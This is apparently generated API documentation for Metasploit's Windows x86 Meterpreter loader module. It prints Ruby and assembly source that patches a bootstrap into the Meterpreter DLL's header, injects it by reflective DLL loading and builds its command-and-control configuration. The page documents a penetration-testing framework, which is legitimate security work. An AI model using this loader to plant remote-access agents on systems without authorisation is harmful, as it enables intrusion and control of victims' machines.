Module: Msf::Payload::Windows::MeterpreterLoader

Includes:
Msf::Payload::Windows, ReflectiveLoader, ReflectiveDLLLoader
Defined in:
lib/msf/core/payload/windows/meterpreter_loader.rb

Overview

Common module stub for ARCH_X86 payloads that make use of Meterpreter.

Constant Summary

Constants included from ReflectiveDLLLoader

ReflectiveDLLLoader::EXPORT_REFLECTIVELOADER, ReflectiveDLLLoader::MIN_CUSTOM_LOADER_SIZE

Instance Method Summary collapse

Methods included from ReflectiveLoader

#reflective_loader

Methods included from ReflectiveLoaderCommon

#build_reflective_loader, #datastore_reflective_loader_iv

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from ReflectiveDLLLoader

#load_rdi_dll, #load_rdi_dll_from_data

Instance Method Details

#asm_invoke_metsrv(opts = {}) ⇒ Object



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 34

def asm_invoke_metsrv(opts={})
  asm = %Q^
      ; prologue
        dec ebp               ; 'M'
        pop edx               ; 'Z'
        call $+5              ; call next instruction
        pop ebx               ; get the current location (+7 bytes)
        push edx              ; restore edx
        inc ebp               ; restore ebp
        push ebp              ; save ebp for later
        mov ebp, esp          ; set up a new stack frame
      ; Invoke ReflectiveLoader()
        ; add the offset to ReflectiveLoader() (0x????????)
        add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
        call ebx              ; invoke ReflectiveLoader()
      ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
        ; offset from ReflectiveLoader() to the end of the DLL
        add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
  ^

  unless opts[:stageless] || opts[:force_write_handle] == true
    asm << %Q^
        mov [ebx], edi        ; write the current socket/handle to the config
    ^
  end

  asm << %Q^
        push ebx              ; push the pointer to the configuration start
        push 4                ; indicate that we have attached
        push eax              ; push some arbitrary value for hInstance
        call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
  ^
end

#generate_config(opts = {}) ⇒ Object



72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 72

def generate_config(opts={})
  ds = opts[:datastore] || datastore
  opts[:uuid] ||= generate_payload_uuid
  # Pass the malleable C2 profile through to the transport config so
  # that staged HTTP(S) meterpreter sessions honour the profile after
  # the stage is delivered. The option is only registered by HTTP(S)
  # stagers, so it's nil (and ignored) for other transports.
  opts[:c2_profile] ||= ds['MALLEABLEC2'] if options.include?('MALLEABLEC2')
  if opts[:c2_profile]
    opts[:stageless] = true
  end
  # create the configuration block, which for staged connections is really simple.
  config_opts = {
    arch:              opts[:uuid].arch,
    null_session_guid: opts[:null_session_guid] == true,
    exitfunk:          ds[:exit_func] || ds['EXITFUNC'],
    expiration:        (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
    uuid:              opts[:uuid],
    transports:        opts[:transport_config] || [transport_config(opts)],
    extensions:        [],
    ext_format:        'x86.dll',
    stageless:         opts[:stageless] == true,
  }.merge(meterpreter_logging_config(opts))
  # create the configuration instance based off the parameters
  config = Rex::Payloads::Meterpreter::Config.new(config_opts)

  # return the binary version of it, prefixed with an 8-byte comms handle
  # that the stager patches with the active socket/handle
  "\x00" * 8 + config.to_b
end

#initialize(info = {}) ⇒ Object



18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 18

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Meterpreter & Configuration RDI',
    'Description'   => 'Inject Meterpreter & the configuration stub via RDI',
    'Author'        => [ 'sf', 'OJ Reeves' ],
    'References'    => [
      [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
      [ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
    ],
    'Platform'      => 'win',
    'Arch'          => ARCH_X86,
    'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
    'Stage'         => { 'Payload'   => "" }
    ))
end

#stage_meterpreter(opts = {}) ⇒ Object



103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 103

def stage_meterpreter(opts={})
  ds = opts[:datastore] || datastore
  debug_build = ds['MeterpreterDebugBuild']
  loader = nil
  dll_path = MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll', debug: debug_build)
  dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: ::File.binread(dll_path))
  begin
    rdi_offset = parse_pe(dll)
  rescue Rex::PeParsey::PeError => e
    elog("Failed to parse metsrv (x86) as a PE, falling back to the polymorphic loader: #{e.class}: #{e.message}")
    rdi_offset = nil
  end

  # Prefer a site-local custom loader binary if the user has dropped one into
  # the meterpreter search paths (~/.msf4/user_data/meterpreter/ or
  # <msf>/data/meterpreter/); otherwise assemble the polymorphic reflective
  # loader on the fly.
  custom_loader_path = [
    ::MetasploitPayloads.user_meterpreter_dir,
    ::MetasploitPayloads.msf_meterpreter_dir
  ].map { |dir| ::File.join(dir, 'custom_loader.x86.bin') }.find { |p| ::File.readable?(p) }

  use_loader = false
  if custom_loader_path
    loader = ::File.binread(custom_loader_path)
    validate_custom_loader!(loader, custom_loader_path)
    dlog("Using custom loader from #{custom_loader_path}")
    ::MetasploitPayloads.warn_local_path(custom_loader_path)
    use_loader = true
  end

  if rdi_offset.nil? && !use_loader
    loader = reflective_loader(iv: datastore_reflective_loader_iv(ds))
    use_loader = true
  end

  asm_opts = {
    # when a custom/polymorphic loader is appended, it must take priority over any
    # ReflectiveLoader already embedded in the DLL, since that's the loader whose bytes
    # actually follow the DLL in the payload
    rdi_offset: use_loader ? dll.length : rdi_offset,
    length:     dll.length + (loader ? loader.length : 0), # total payload length = DLL + reflective loader
    stageless:  opts[:stageless] == true
  }

  dlog("Using custom loader from #{custom_loader_path}") if custom_loader_path
  dlog('Using polymorphic reflective loader') if !custom_loader_path && use_loader
  dlog("Loader length: #{loader.length} bytes") if use_loader
  dlog("DLL length: #{dll.length} bytes")
  dlog("ReflectiveLoader offset: #{asm_opts[:rdi_offset]} bytes")
  dlog("Configuration offset: #{asm_opts[:length]} bytes")
  asm = asm_invoke_metsrv(asm_opts)

  # generate the bootstrap asm
  bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string

  # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
  if bootstrap.length > 62
    raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
  end

  # patch the bootstrap code into the dll's DOS header...
  dll[ 0, bootstrap.length ] = bootstrap
  dll += loader if use_loader
  dll
end

#stage_payload(opts = {}) ⇒ Object



68
69
70
# File 'lib/msf/core/payload/windows/meterpreter_loader.rb', line 68

def stage_payload(opts={})
  stage_meterpreter(opts) + generate_config(opts)
end